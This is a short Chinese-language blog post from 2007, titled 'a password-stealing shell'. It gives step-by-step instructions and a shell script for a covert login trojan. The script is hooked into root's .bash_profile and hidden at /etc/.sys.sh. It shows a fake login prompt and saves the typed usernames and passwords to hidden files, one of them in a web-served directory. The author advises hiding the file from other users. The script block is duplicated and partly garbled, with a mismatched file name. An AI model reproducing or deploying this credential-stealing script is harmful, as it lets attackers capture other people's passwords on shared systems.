一个窃取密码的shell
时间:2007-08-07 来源:7717060
首先vi /root/.bash_profile/
加入./etc/.sys.sh
然后vi /etc/.sys.sh 加入以下几行 这地方目录谁边,就是让别人尽量看不出来就行
#!/bin/sh
clear
echo -n "login as :" && read login && echo $login >> /home/wds/.list
stty -echo
echo -n "[email protected]'s password :" && read passwd && echo $passwd >> /var/www/html/help/.list
stty echo && echo ' '
echo -n 'last login: '
lastlog -u $login > /home/wds/.list
awk '{if($1 ~ /'$login'/) print $4,$5,$6,$7,$9,"from",$3}' /home/wds/.last
然后还要chmod 755 /etc/.sys.sh
clear
echo -n "login as :" && read login && echo $login >> /home/wds/.list
stty -echo
echo -n "[email protected]'s password :" && read passwd && echo $passwd >> /var/www/html/help/.list
stty echo && echo ' '
echo -n 'last login: '
lastlog -u $login > /home/wds/.list
awk '{if($1 ~ /'$login'/) print $4,$5,$6,$7,$9,"from",$3}' /home/wds/.last
然后还要chmod 755 /etc/.sys.sh
相关阅读 更多 +